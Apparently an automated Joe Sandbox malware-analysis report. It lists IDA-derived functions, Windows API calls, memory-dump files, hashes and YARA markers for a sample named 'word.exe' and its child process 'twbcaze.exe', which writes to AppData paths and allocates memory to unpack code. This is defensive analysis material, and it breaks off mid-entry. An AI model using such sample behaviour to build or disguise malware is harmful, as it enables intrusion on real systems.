Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharNext
String ID: C:\
API String ID: 3213498283-3404278061
Opcode ID: df1f57800bc78783e49fb04f649057cff683ac7abc20f7779ba38a9a2f776efc
Instruction ID: 9935135ffb9a6864428372be34cefbf1708860cc48cffe50814e8a96023de109
Opcode Fuzzy Hash: df1f57800bc78783e49fb04f649057cff683ac7abc20f7779ba38a9a2f776efc
Instruction Fuzzy Hash: 99F0A761904B21D6EB2272744C84B6B579CDB55720F180437E100B71D197BC4C82AF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401D38 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D3F
GetDeviceCaps.GDI32(00000000), ref: 00401D46
MulDiv.KERNEL32 ref: 00401D55
CreateFontIndirectA.GDI32(0040B014), ref: 00401DA7

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction ID: 0c2e595a2d755a053b7cc3d6c09569b1e3f8f946256c05fe5e222a6b1ed621d0
Opcode Fuzzy Hash: 91a73ead397859bf4c0615e863a468d78fcadc575e8fb258f1077711b7347c7d
Instruction Fuzzy Hash: B0F0C870E48280AFE70157705F0ABAB3F64D715305F100876F251BA2E3C7B910088BAE

Uniqueness

Uniqueness Score: -1.00%

Function 00402BF1 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00402C04
GetTickCount.KERNEL32(00000000,00402DD1,00000001), ref: 00402C22
CreateDialogParamA.USER32(0000006F,00000000,00402B6E,00000000), ref: 00402C3F
ShowWindow.USER32(00000000,00000005), ref: 00402C4D

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction ID: 902fecb1894dce430947e24fe85b059bfb73d5b7bbd16117cdf5d745fa908bfb
Opcode Fuzzy Hash: 368aa0899d27fe077c31989b75da56c4405109c76bea3f602025cb1c6477c4a6
Instruction Fuzzy Hash: 37F03030A09321ABC611EF60BE4CA9E7B74F748B417118576F201B11A4CB7858818B9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404DD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404E0A
CallWindowProcA.USER32(?,00000200,?,?), ref: 00404E78

Part of subcall function 00403EA0: SendMessageA.USER32 ref: 00403EB2

Strings

, xrefs: 00404DE2

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction ID: 907b3508a45335f305929b628defbf7950d0c65962cf50d158fef9db48df65ea
Opcode Fuzzy Hash: d178a5782ca8d626d003a390d0a002469a0ac64d132e68a5e4d1ef6bfeb92247
Instruction Fuzzy Hash: 3B11BF71600208BFDF21AF61DC4099B3769BF843A5F40803BF604791A2C7BC4991DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00403556 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,?,0040352E,00403337,00000020), ref: 00403570
GlobalFree.KERNEL32(00000000), ref: 00403577

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403568

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-4017390910
Opcode ID: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction ID: e2315670824f3ca0981a6a6bf9743b5050639b1b799e450ff7e3175358b78d1c
Opcode Fuzzy Hash: a60e2798f856a3438fb1e72b6635fdebc83eaeade0927d8150105d3265ee1b70
Instruction Fuzzy Hash: 10E08C329010206BC6215F08FD0479A7A6C6B44B22F11413AE804772B0C7742D424A88

Uniqueness

Uniqueness Score: -1.00%

Function 004056D2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\AppData\Roaming,00402CC1,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming,C:\Users\user\AppData\Roaming\word.exe,C:\Users\user\AppData\Roaming\word.exe,80000000,00000003), ref: 004056D8
CharPrevA.USER32(80000000,00000000), ref: 004056E6

Strings

C:\Users\user\AppData\Roaming, xrefs: 004056D2

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\AppData\Roaming
API String ID: 2709904686-2707566632
Opcode ID: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction ID: dce4988d3f9ae1539138201c89f565164349ec5ceb08caa00e339266b5a49006
Opcode Fuzzy Hash: 5e76a858232fdb919b52e4d2bd39b139441124952f2503eefa3b06bf6f304fbe
Instruction Fuzzy Hash: 7FD0A772809D701EF30363108C04B8FBA48CF12310F490862E042E6191C27C6C414BBD

Uniqueness

Uniqueness Score: -1.00%

Function 004057E4 Relevance: 5.0, APIs: 4, Instructions: 30stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057EB
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405804
CharNextA.USER32(00000000), ref: 00405812
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059F2,00000000,[Rename],?,?,00000000,000000F1,?), ref: 0040581B

Memory Dump Source

Source File: 00000005.00000002.356736397.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.356732850.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356741630.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000040B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.0000000000421000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356746108.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.000000000042D000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.356760134.0000000000433000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction ID: 6e20b17ba46ab238fcbb7c8296b2df733f1dbfa59429a89b2dba5ca226b3377d
Opcode Fuzzy Hash: 4632bc7807536c3bc685dabbcc96fda575cc955354388b87d625cbceccfb0b7c
Instruction Fuzzy Hash: C2F02733209D51ABC202AB255C00A2F7E98EF91320B24003AF440F2180D339AC219BFB

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: twbcaze.exePID: 3164, Parent PID: 3148COMMON

Execution Graph

Execution Coverage:	5.7%
Dynamic/Decrypted Code Coverage:	6%
Signature Coverage:	2.7%
Total number of Nodes:	1692
Total number of Limit Nodes:	49

Executed Functions

Function 002308B7 Relevance: 6.4, APIs: 4, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 55b22853a2993f0f21eb55e3da2865d1a426949fd4ee5c463d8c609a0ba9bc2d
Instruction ID: f187909bbc79679f48694e0bea92c0baf5220c3965621e78375268fd15ab93a8
Opcode Fuzzy Hash: 55b22853a2993f0f21eb55e3da2865d1a426949fd4ee5c463d8c609a0ba9bc2d
Instruction Fuzzy Hash: 51027460C5D2D9ADDF02CBE984557FDBFB09F2A201F1841C6E4E0B6283D13A935ADB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 84
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 0040111C

Strings

tvxyldblemyhw, xrefs: 00401027
@, xrefs: 00401114

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: @$tvxyldblemyhw
API String ID: 4275171209-460681131
Opcode ID: 3e177a7d2e86f58c96a6a4f8a45f5d4baddb77432dfb2f077bb93cd8b45913c4
Instruction ID: 7aaee2c2e6d78501d51bf851492d869c5d4d5b2f8c63b9516c1bd50cccf5b8dc
Opcode Fuzzy Hash: 3e177a7d2e86f58c96a6a4f8a45f5d4baddb77432dfb2f077bb93cd8b45913c4
Instruction Fuzzy Hash: 184118B0904249DFCB04DFA8D5947DEBBF0BF08304F10856EE485A7391D7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 002307DA Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 002307F7

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction ID: af7d0608da51ce6d4509d552f66ad5cd5b73064335690ee9c4de80ea450483bd
Opcode Fuzzy Hash: fa2979548fe31277adddc85b40786a5f89b5b758f8f4ce622a53a7dd496667a7
Instruction Fuzzy Hash: 60F037B1D3410CABDB4CEAB898A56BE77ACDB08310F104569E616E2541D534895146B5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F6FD Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 0040F702

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9079a48e8e71482e53dfc76507f2ae7f877e7dbde2288b42057c16e9fce70750
Instruction ID: 431cc7d4a295281fc9bf47c0b96cf208d655127df510026a83839a9efed663c3
Opcode Fuzzy Hash: 9079a48e8e71482e53dfc76507f2ae7f877e7dbde2288b42057c16e9fce70750
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00230D9B Relevance: 10.7, APIs: 7, Instructions: 194
filememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,?,?,?,?,00231631,7FAB7E30), ref: 00230E61
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000,00000040), ref: 00230E8B
ReadFile.KERNELBASE(00000000,00000000,0000000E,7FAB7E30,00000000,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000), ref: 00230EA2
VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000,00000040), ref: 00230EC4
CloseHandle.KERNELBASE(00000000,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000,00000040,?,00000000,0000000E), ref: 00230F36
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000,00000040,?), ref: 00230F41
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,?,?,?,?,?,00231631,7FAB7E30,002312EF,00000000,00000040,?), ref: 00230F8C

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFileFree$CloseCreateHandleRead
String ID:
API String ID: 721982790-0
Opcode ID: f3911bdf1ce60f35c7dd64004a57844e1e55d6d21ab9d20bfbecd889ee39f939
Instruction ID: 5085f06a7aa812ef2fb5b9cfaf979f7f7a33de9d3476188ec746f567d782b063
Opcode Fuzzy Hash: f3911bdf1ce60f35c7dd64004a57844e1e55d6d21ab9d20bfbecd889ee39f939
Instruction Fuzzy Hash: 715180B1E20319BBDB209FB4DC95BAEB7B8AF08710F104555F945F7280DB7499118B78

Uniqueness

Uniqueness Score: -1.00%

Function 0041B9EE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

ext-ms-, xrefs: 0041BA59
api-ms-, xrefs: 0041BA45

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 1e816ce87688622ec726282c4dafe4514aa4901fe74f977d836c6bbf6b1652ce
Instruction ID: 75a7b4c4e75e062102b4ceedb7ba9e3808390c4d46f14f64f2af66eaeb456fbf
Opcode Fuzzy Hash: 1e816ce87688622ec726282c4dafe4514aa4901fe74f977d836c6bbf6b1652ce
Instruction Fuzzy Hash: 2B210531A41221ABDB318B669C44BAB3768DF017E1F200223ED05A7390D738ED8196ED

Uniqueness

Uniqueness Score: -1.00%

Function 0041C17B Relevance: 7.7, APIs: 5, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__alloca_probe_16.LIBCMT ref: 0041C1FF
__alloca_probe_16.LIBCMT ref: 0041C2C5
__freea.LIBCMT ref: 0041C331

Part of subcall function 0041ACA1: RtlAllocateHeap.NTDLL(00000000,?,?,?,0040E0E2,?,?,00401942,00000000,?,00401851), ref: 0041ACD3

__freea.LIBCMT ref: 0041C33A
__freea.LIBCMT ref: 0041C35D

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: cc80a806a169eab05e58413dacbc66e9f9c5e0c7cf95fe716d8602c99327d2d3
Instruction ID: 6d4edd65040881752d9885094900a985f24b8fe9645ab17a0ae6498ed45cbe57
Opcode Fuzzy Hash: cc80a806a169eab05e58413dacbc66e9f9c5e0c7cf95fe716d8602c99327d2d3
Instruction Fuzzy Hash: 50510672A4020AAFDB219F95CC81EFB37A9EF85754F15412BFC14A7240E738DC918699

Uniqueness

Uniqueness Score: -1.00%

Function 0023020A Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 425
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 00230244

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID: D
API String ID: 0-2746444292
Opcode ID: 5f82a25b001eef986d9a981a6cbd625316d3570d34d0e9bba76da4b8eb28fee1
Instruction ID: 913c8fc3ac625a1fee3869133194d008a953afd73022a5488c343fd139ce26f0
Opcode Fuzzy Hash: 5f82a25b001eef986d9a981a6cbd625316d3570d34d0e9bba76da4b8eb28fee1
Instruction Fuzzy Hash: 3102F4B0E20209EFDF14CF94C995BADBBB5BF08705F204059E515BA2A1D774AEA0DF24

Uniqueness

Uniqueness Score: -1.00%

Function 004220EF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,00000800,?,0042218B,00000000,?,00432FF0,?,?,?,004220C2,00000004,InitializeCriticalSectionEx,00429534,0042953C), ref: 004220FC
GetLastError.KERNEL32(?,0042218B,00000000,?,00432FF0,?,?,?,004220C2,00000004,InitializeCriticalSectionEx,00429534,0042953C,00000000,?,0041A94C), ref: 00422106
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0042212E

Strings

api-ms-, xrefs: 00422113

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 59a04169ea6d4d95635d84a846355b1e456eb0b3a79eec30dccb626f617f785e
Instruction ID: fc242c96d07ba1ba5137a2309fdb626edb44cf858da1c29ccb6cba67ef9a6a2c
Opcode Fuzzy Hash: 59a04169ea6d4d95635d84a846355b1e456eb0b3a79eec30dccb626f617f785e
Instruction Fuzzy Hash: 6AE01270780204BAEB301F52EC06F6A7B66AF10B91F904032FA4CA41E0D7B59CA1D58D

Uniqueness

Uniqueness Score: -1.00%

Function 0041C953 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041C7DD: GetOEMCP.KERNEL32(00000000,0041C96E,00000000,00000000,0042190B,0042190B,00000000,00000000,00000000), ref: 0041C808

_free.LIBCMT ref: 0041C9CB

Strings

(U, xrefs: 0041CA5D

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free
String ID: (U
API String ID: 269201875-1038552597
Opcode ID: cec2dc70aef15dcc1e193a349e072108923eab96f25ae85ad9b128b179b5290a
Instruction ID: 21ae2229421282a0f34250d89c358c044478b6e29def4b0f04777ce2107de751
Opcode Fuzzy Hash: cec2dc70aef15dcc1e193a349e072108923eab96f25ae85ad9b128b179b5290a
Instruction Fuzzy Hash: A2319CB2900209AFCB01DF69C881ADF77A5EF44354F11406BF9159B3A1EB3A9D91CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB28 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 126
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,0000000C,00000000,00000000), ref: 0041CB5A

Strings

, xrefs: 0041CB9F

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 855a859752abcec589858d9807460375745186d6f5beff0676cc2bfde8d4a19d
Instruction ID: a96c3065caeaac77d3f74e8a83fe439cdd8a73e50797608b124c6a1eeaa8ad91
Opcode Fuzzy Hash: 855a859752abcec589858d9807460375745186d6f5beff0676cc2bfde8d4a19d
Instruction Fuzzy Hash: DE4149B01442489BDB218F18CDC4BF77BED9B05304F2404AEE5CEC7142E239AD85DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B81C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNELBASE(?,?), ref: 0041B85C

Strings

InitializeCriticalSectionEx, xrefs: 0041B82C

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
